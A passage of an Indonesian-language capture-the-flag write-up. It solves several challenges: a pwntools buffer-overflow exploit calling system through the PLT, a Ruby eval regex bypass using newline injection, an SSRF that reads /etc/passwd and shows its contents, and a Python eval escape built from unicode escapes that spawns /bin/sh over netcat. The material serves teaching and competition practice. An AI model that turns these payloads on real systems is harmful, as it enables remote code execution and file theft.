q.push({cost+1,​ ​{x,​ ​y+1}}),​ ​v[x][y+1].pb({x,​ ​y});
if​ ​(x-1​ ​>=​ ​0​ ​&&​ ​s[x-1][y]​ ​!=​ ​'*')
q.push({cost+1,​ ​{x-1,​ ​y}}),​ ​v[x-1][y].pb({x,​ ​y});
if​ ​(y-1​ ​>=​ ​0​ ​&&​ ​s[x][y-1]​ ​!=​ ​'*')
q.push({cost+1,​ ​{x,​ ​y-1}}),​ ​v[x][y-1].pb({x,​ ​y});
}
findpath(ansx,​ ​ansy);
int​ ​sx​ ​=​ ​0,​ ​sy​ ​=​ ​0;
string​ ​res​ ​=​ ​"";
while(st.size())​ ​{
int​ ​x​ ​=​ ​st.top().fi,​ ​y​ ​=​ ​st.top().sc;​ ​st.pop();

//​ o​ utln(x,​ ​y);


if​ ( ​ x​ ​==​ ​0​ ​&&​ ​y​ ​==​ ​0)​ ​continue;
if​ ( ​ x​ ​>​ ​sx)
res​ ​+=​ ​"s";
if​ ​(x​ ​<​ ​sx)
res​ ​+=​ ​"w";
if​ ​(y​ ​>​ ​sy)
res​ ​+=​ ​"d";
if​ ​(y​ ​<​ ​sy)
res​ ​+=​ ​"a";
sx​ ​=​ ​x;​ ​sy​ ​=​ ​y;
if​ ​(st.size()​ ​==​ ​1)​ ​{
res​ ​+=​ ​res[res.size()-1];
}
}
printf("%s",​ ​res.c_str());
return​ ​0;
}
Sebelum​ ​mendapatkan​ ​path​ ​dalam​ ​bentuk​ ​‘wasd’​ ​kita​ ​harus​ ​mencari​ ​path​ ​terpendek​ ​terlebih
dahulu​ ​agar​ ​tidak​ ​melewati​ ​batas​ ​gerakan.​ ​Kita​ ​bisa​ ​menggunakan​ ​bfs​ ​simple​ ​dan​ ​menyimpan
jarak​ ​di​ ​tiap​ ​langkah.​ ​Pada​ ​awalnya​ ​kita​ ​membuat​ ​struktur​ ​data​ ​queue​ ​dengan​ ​parameter​ ​jarak,
index​ ​baris,​ ​dan​ ​index​ ​kolom​ ​dari​ ​karakter​ ​‘h’.​ ​Buat​ ​juga​ ​array​ ​of​ ​boolean​ ​yang​ ​akan
me-​memorize​ ​setiap​ ​jalan​ ​yang​ ​dilalui​ ​sehingga​ ​bfs​ ​tidak​ ​berputar-putar​ ​di​ ​tempat​ ​yang​ ​sama.
Kemudian​ ​masuk​ ​ke​ ​dalam​ ​looping​ ​sampai​ ​isi​ ​dari​ ​queue​ ​telah​ ​kosong.

Di​ ​dalam​ ​looping​ ​kita​ ​batasi​ ​terlebih​ ​dahulu​ ​kondisi​ ​yang​ ​akan​ ​merusak​ ​algoritme​ ​bfs​ ​ini​ ​yaitu
baris​ ​tidak​ ​boleh​ ​kurang​ ​dari​ ​0​ ​dan​ ​tidak​ ​boleh​ ​lebih​ ​dari​ ​11,​ ​kolom​ ​tidak​ ​boleh​ ​kurang​ ​dari​ ​0
dan​ ​baris​ ​tidak​ ​boleh​ ​lebih​ ​dari​ ​19,​ ​dan​ ​cek​ ​juga​ ​apakah​ ​jalan​ ​tersebut​ ​telah​ ​dilalui​ ​sebelumnya
atau​ ​belum.​ ​Jika​ ​kondisi​ ​tersebut​ ​tidak​ ​terpenuhi​ ​ ​maka​ ​kita​ ​bisa​ ​langsung​ ​melanjutkan​ ​looping
tanpa​ ​memasukkan​ ​apapun​ ​kedalam​ ​queue.

Kemudian​ ​kita​ ​buat​ ​sebuah​ ​‘​if​’​ ​untuk​ ​melakukan​ ​break​ ​pada​ ​looping​ ​jika​ ​huruf​ ​‘u’​ ​telah​ ​dicapai.
Jika​ ​semua​ ​state​ ​di​ ​atas​ ​telah​ ​terlewati​ ​kita​ ​bisa​ ​langsung​ ​melakukan​ ​push​ ​‘jarak’,​ ​‘index​ ​baris’,
dan​ ​‘index​ ​kolom’​ ​ke​ ​dalam​ ​queue.​ ​Karena​ ​kita​ ​ingin​ ​mendapatkan​ ​path​ ​juga​ ​maka​ ​setelah
mengisi​ ​queue​ ​kita​ ​harus​ ​menyimpan​ ​tetangga​ ​dari​ ​x[baris][kolom]​ ​saat​ ​ini​ ​ke​ ​dalam​ ​adjacency
list​ ​dalam​ ​bentuk​ ​vector.

Setelah​ ​looping​ ​selesai​ ​kita​ ​telah​ ​mendapatkan​ ​path​ ​dari​ ​‘h’​ ​ke​ ​‘u’​ ​akan​ ​tetapi​ ​masih​ ​belum
bentuk​ ​adjacency​ ​list.​ ​Karena​ ​itu​ ​kita​ ​bisa​ ​melakukan​ ​dfs​ ​pada​ ​adjacency​ ​list​ ​tersebut​ ​dari​ ​‘u’​ ​ke
‘h’.​ ​Setiap​ ​mengunjungi​ ​tetangga​ ​kita​ ​bisa​ ​menyimpan​ ​path​ ​nya​ ​di​ ​stack.​ ​Setelah​ ​fungsi​ f​ indpath
tersebut​ ​selesai​ ​kita​ ​bisa​ ​mengubah​ ​path​ ​yang​ ​masih​ ​dalam​ ​bentuk​ ​index​ ​baris​ ​dan​ ​kolom​ ​ke
bentuk​ ​‘wasd’​ ​sesuai​ ​dengan​ ​yang​ ​diinginkan​ ​oleh​ ​program.​ ​Kemudian​ ​kita​ ​pun​ ​mendapatkan
path​ ​dari​ ​‘h’​ ​ke​ ​‘u’​ ​dalam​ ​bentuk​ ​‘wasd’​ ​dan​ ​bisa​ ​mengoutputkannya​ ​ke​ ​program.

Vulnerability​ ​yang​ ​terdapat​ ​pada​ ​program​ ​dapat​ ​kita​ ​gunakan​ ​apabila​ ​karakter​ ​yang​ ​kita
gerakkan​ ​ketika​ ​sudah​ ​berada​ ​di​ ​bagian​ ​pojok​ ​bawah​ ​kanan,​ ​yaitu​ ​kita​ ​digunakan​ ​gets​ ​untuk
mengambil​ ​langkah.​ ​Karena​ ​terdapat​ ​penggunakaan​ ​system​ ​pada​ ​program,​ ​kita​ ​dapat
menggunakan​ ​plt​ ​system​ ​dan​ ​menggunakan​ ​string​ ​/bin/sh​ ​yang​ ​sudah​ ​terdapat​ ​pada​ ​binary.
Berikut​ ​skrip​ ​yang​ ​digunakan​ ​untuk​ ​meng​ ​exploit

from​ ​pwn​ ​import​ ​*


from​ ​subprocess​ ​import​ ​check_output​ ​as​ ​co
p​ ​=​ ​remote('45.127.134.29',​ ​30105)
p.sendline("")
e​ ​=​ ​ELF('./kudanil_lsi')

binsu​ ​=​ ​next(e.search('/bin/su'))


system_plt​ ​=​ ​e.plt['system']

s​ ​=​ ​p.recvuntil("su")
s​ ​=​ ​s.split("\n")[-11:]

s​ ​=​ ​"\n".join(s)
print​ ​s
f​ ​=​ ​open('map','w')
f.write(s)
f.close()

#​ ​kirim​ ​peta​ ​ke​ ​program​ ​pencari​ ​jalur​ ​(kode​ ​C++​ ​di​ ​atas)
solution​ ​=​ ​co('cat​ ​map​ ​|​ ​./map.solution',​ ​shell=True)

for​ ​c​ i
​ n​ ​range(0,​ ​len(solution)):
p.sendline(solution[c])

payload​ ​=​ ​"A"*23​ ​+​ ​p32(system_plt)​ ​+​ ​'BBBB'​ ​+​ ​p32(binsu)


p.sendline(payload)
p.interactive()

   
Math​ ​Service 
Tags:​ ​ruby,​ ​eval,​ ​newline​ ​injection,​ ​bypass​ ​regex
File:
curl​ ​-Ls​ ​https://git.io/vdfu3​ ​|​ ​base64​ ​-d​ ​>​ ​math.tar.gz

Target:
nc​ ​45.127.134.29​ ​30106

Solusi:

puts​ ​"Hi,​ ​please​ ​input​ ​your​ ​calculation​ ​here,​ ​finished​ ​with​ ​'='"
puts​ ​"Example:​ ​6+5="
STDOUT.flush
$/​ ​=​ ​"="
input​ ​=​ ​STDIN.gets()
input​ ​=​ ​input.split(/=/).first
#input​ ​=​ ​gets("\t\n")
if
/^([-+]?[0-9]*\.?[0-9]+[\/\+\-\*])+([-+]?[0-9]*\.?[0-9]+)$/.match(i
nput)
​ ​ ​puts​ ​eval(input)
else
​ ​ ​puts("no​ ​cheating")
end

STDOUT.flush

Diperhatikan​ ​bahwa​ ​input​ ​kita​ ​dicek​ ​apakah​ ​lolos​ ​regex​ ​atau​ ​tidak.​ ​Dari​ ​regex​ ​tersebut​ ​terlihat
pengecekan​ ​dari​ ​awal​ ​sampai​ ​akhir​ ​string.​ ​Tapi,​ ​pengecekan​ ​regex​ ​hanya​ ​sampai​ ​EOF​ ​(End​ ​Of
Line)​ ​yang​ ​ditandai​ ​karakter​ ​dollar​ ​di​ ​belakang.​ ​Jadi​ ​payload​ ​yang​ ​dimasukkan​ ​adalah​ ​‘string
lolos​ ​regex’+’newline’+’payload’

Contoh​ ​payload​ ​adalah​ ​(dengan​ ​newline​ ​“\n”​ ​setelah​ ​string​ ​“5+5”):

5+5
system('cat​ ​fl*')=
Musicality​ ​Icon 
Tags​:​ ​server​ ​side​ ​request​ ​forgery,
File:
curl​ ​-Ls​ ​https://git.io/vdfi8​ ​|​ ​base64​ ​-d​ ​>​ ​music.tar.gz

Target:
http://45.127.134.29:30107

Solusi:
Bagian yang ​vulnerable dari ​web service ​ini bisa dilihat di ​file ​profile.php yang terletak di folder
page​. Pada ​file ​tersebut terdapat ​form ​masukan berupa URL gambar. URL gambar tersebut
kemudian di-​curl dan data hasil ​curl ​disimpan ke server. Permasalahan utamanya adalah fungsi
yang melakukan operasi ​curl (fungsi ​curl_img (lihat tabel di bawah)) tidak melakukan
penyaringan​ ​URL​ ​yang​ ​dimasukkan​ ​oleh​ ​user​.

...

function​​ ​curl_img​(​$url​){

$get_img​ ​=​ ​curl_init​(​$url​);


//​ ​curl_setopt​ ​($get_img,​ ​CURLOPT_URL,​ ​$img_url);

curl_setopt​(​$get_img​,​ ​CURLOPT_HEADER​,​ ​0​);


curl_setopt​(​$get_img​,​ ​CURLOPT_RETURNTRANSFER​,​ ​1​);
curl_setopt​(​$get_img​,​ ​CURLOPT_BINARYTRANSFER​,​ ​1​);
curl_setopt​(​$get_img​,​ ​CURLOPT_CAINFO​,​ ​__DIR__​.​'/../config/cacert.pem'​);

$raw_img​ ​=​ ​curl_exec​(​$get_img​);


curl_close​(​$get_img​);

$random_text​ ​=​ ​time​().​random​();


$save_img​ ​=​ ​__DIR__​.​'/../static/img/'​.​md5​(​$random_text​);
$save_img​ ​.=​​ ​".jpg"​;

$fp​ ​=​ ​fopen​(​$save_img​,​ ​'w'​)​ ​or​​ ​die​(​"Unable​ ​to​ ​open​ ​file"​);


fwrite​(​$fp​,​ ​$raw_img​);
fclose​(​$fp​);

$location​ ​=​ ​'static/img/'​.​md5​(​$random_text​).​'.jpg'​;


return​​ ​$location​;
}

...

Akibatnya, URL apa pun dapat dimasukkan, bahkan tidak hanya sebatas URL yang diawali
http:// atau ​https://​, kita juga dapat memasukkan ​file://​, ​dict://​, atau ​ftp://​. Khusus untuk selain
http:// atau ​https:// kita harus mem-​bypass validasi URL yang dilakukan JavaScript yang
terdapat​ ​di​ ​file​ ​footer.php​​ ​yang​ ​terletak​ ​di​ ​folder​ ​content​.
<script>
​ ​ ​ ​ ​ ​...
​ ​ ​ ​ ​ ​$​(​'#ava'​).​change​(​function​(){
​ ​ ​ ​ ​ ​ ​ ​ ​var​​ ​ava​ ​=​ ​$​(​'#ava'​).​val​();
​ ​ ​ ​ ​ ​ ​ ​ ​var​​ ​expression​ ​=
/https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b([-a-zA-Z0-9@:%_\+.~#?&//=]*)
?/​gi;
​ ​ ​ ​ ​ ​ ​ ​ ​var​​ ​regex​ ​=​ ​new​​ ​RegExp​(​expression​);

​ ​ ​ ​ ​ ​ ​ ​ ​if​(!​ava​.​match​(​regex​)){
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​$​(​'#probtn'​).​attr​(​'disabled'​,​ ​true​);
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​alert​(​"Please​ ​enter​ ​valid​ ​URL!"​);
​ ​ ​ ​ ​ ​ ​ ​ ​}​else{
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​$​(​'#probtn'​).​removeAttr​(​'disabled'​);
​ ​ ​ ​ ​ ​ ​ ​ ​}
​ ​ ​ ​ ​ ​ ​});
.​​ ​ ​ ​ ​...
</script>

Script di atas akan memvalidasi URL berdasarkan ekspresi reguler suatu URL yang sah.
Karena pengecekan URL hanya dilakukan di ​client​, maka dengan akan sangat mudah untuk
mem-​bypass​. Salah satu caranya adalah melalui fitur ​inspect element yang ada di ​browser​, kita
bisa​ ​menghilangkan​ ​atribut​ ​id=’ava’​ ​pada​ ​masukan​ ​teks​ ​URL.

<input​ ​type="text"​ ​name="avatar"​ ​id="ava"​​ ​placeholder="Your​ ​Avatar​ ​URL


(http://example.com/avatar.jpg)"​ ​class="form-control"/>

Diubah​ ​menjadi

<input​ ​type="text"​ ​name="avatar"​ ​placeholder="Your​ ​Avatar​ ​URL


(http://example.com/avatar.jpg)"​ ​class="form-control"/>

Oleh karena pengecekan URL sudah berhasil di-​bypass​, maka kita bisa mencoba memasukkan
string ​file:///etc/passwd​. Dengan memasukkan ​string ​tersebut, diharapkan fungsi yang
melakukan proses ​curl akan membaca isi dari ​file ​“/etc/passwd” yang ada di server. Untuk
mengecek apakah berhasil, simpan gambarnya, kemudian buka dengan editor teks. Berikut isi
dari ​file “/etc/passwd” yang berhasil dibaca dari server, perhatikan ada ​user bernama ​flag ​yang
merupakan​ ​flag​ ​untuk​ ​challenge​ ​ini.

root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X​ ​Font​ ​Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
apache:x:100:101:apache:/var/www:/sbin/nologin
ddicscovkp:x:1000:1000:Linux​ ​User,,,:/home/ddicscovkp:
flag:x:1337:1337:HackToday{655af907d51a55b61b9c9b009b586bb7317c41ff
47c6deefcd386012a6251d07}:/home/flag:

   
Sanca 
Tags:​ ​python,​ ​eval,​ ​unicode​ ​escape
File:
curl​ ​-Ls​ ​https://git.io/vdfKX​ ​|​ ​base64​ ​-d​ ​>​ ​sanca.tar.gz

Target:
nc​ ​45.127.134.29​ ​30108

Solusi:
Diberikan​ ​sebuah​ ​service​ ​python​ ​yang​ ​kode​ ​python​ ​terlampir

#!/usr/bin/env​ ​python
import​​ ​sys,re

def​​ ​XxxXxxx_xXxxxxx​(s):
​ ​ ​return​​ ​re.sub(​r"[A-Za-z]+('[A-Za-z]+)?"​,
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​lambda​​ ​mo:​ ​mo.group(​0​)[​0​].upper()​ ​+
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​mo.group(​0​)[​1​:].lower(),
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​s)

print​​ ​"""Sanca​ ​2.0


Type​ ​Anything​ ​You​ ​Want
​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​____
​ ​ ​________________________/​ ​O​ ​ ​\___/
​ ​<_/_\_/_\_/_\_/_\_/_\_/_______/​ ​ ​ ​\

"""
while​​ ​1​:
​ ​ ​try​:
​ ​ ​ ​ ​print​​ ​eval(XxxXxxx_xXxxxxx(raw_input(​">>>​ ​"​)))
​ ​ ​except​​ ​KeyboardInterrupt:
​ ​ ​ ​ ​print​​ ​"​ ​CTRL+Z​ ​to​ ​Exit"
​ ​ ​except​​ ​Exception​ ​as​​ ​e:
​ ​ ​ ​ ​print(e)

Kalau​ ​di​ ​perhatikan​ ​dari​ ​source​ ​code​ ​yang​ ​terlampir​ ​terdapat​ ​eval​ ​pada​ ​inputan,
Mungkin​ ​terlihat​ ​menarik​ ​tetapi​ ​ketika​ ​ingin​ ​input​ ​suatu​ ​command,​ ​Setiap​ ​awalan​ ​huruf​ ​kata
yang​ ​diinput​ ​menjadi​ ​huruf​ ​kapital,​ ​yang​ ​membuat​ ​ribet​ ​adalah​ ​syntax​ ​python​ ​bersifat​ ​case
sensitive

Kalau​ ​dianalisa​ ​bisa​ ​dilihat​ ​pola​ ​perilaku​ ​nya:


>>>​ ​import
name​ ​'Import'​ ​is​ ​not​ ​defined
>>>​ ​print
name​ ​'Print'​ ​is​ ​not​ ​defined
>>>​ ​IMPORT
name​ ​'Import'​ ​is​ ​not​ ​defined
>>>​ ​PrINT
name​ ​'Print'​ ​is​ ​not​ ​defined

Dari​ ​source​ ​code​ ​yang​ ​diberikan​ ​kita​ ​bisa​ ​search​ ​di​ ​google​ ​kita​ ​dapati​ ​bahwa​ ​kode​ ​tersebut
adalah​ ​python​ ​title()

http://python-reference.readthedocs.io/en/latest/docs/str/title.html

Fungsi​ ​title()​ ​pada​ ​python​ ​bisa​ ​dibypass​ ​menggunakan​ ​encoding

https://www.python.org/dev/peps/pep-0263/

def​​ ​unicode_escape​(s):
​ ​ ​ ​ ​res​ ​=​ ​''
​ ​ ​ ​ ​for​​ ​c​ ​in​​ ​s:
​ ​ ​ ​ ​ ​ ​ ​ ​res​ ​+=​ ​'\\'​+oct(ord(c)).lstrip(​"0"​).zfill(​3​)
​ ​ ​ ​ ​return​​ ​res

payload​ ​=​ ​'__import__("os").system("/bin/sh")'


payload​ ​=​ ​unicode_escape(payload)
print​​ ​"#​ ​Encoding:​ ​Unicode_Escape​ ​\r"​​ ​+​ ​payload

Lalu​ ​jalankan​ ​dengan​ ​di​ ​“ganjel”​ ​dengan​ ​cat​ ​agar​ ​interaktif:

$​ ​(python​ ​sanca_solve.py;​ ​cat​ ​-)​ ​|​ ​nc​ ​45.127.134.29​ ​30108

You might also like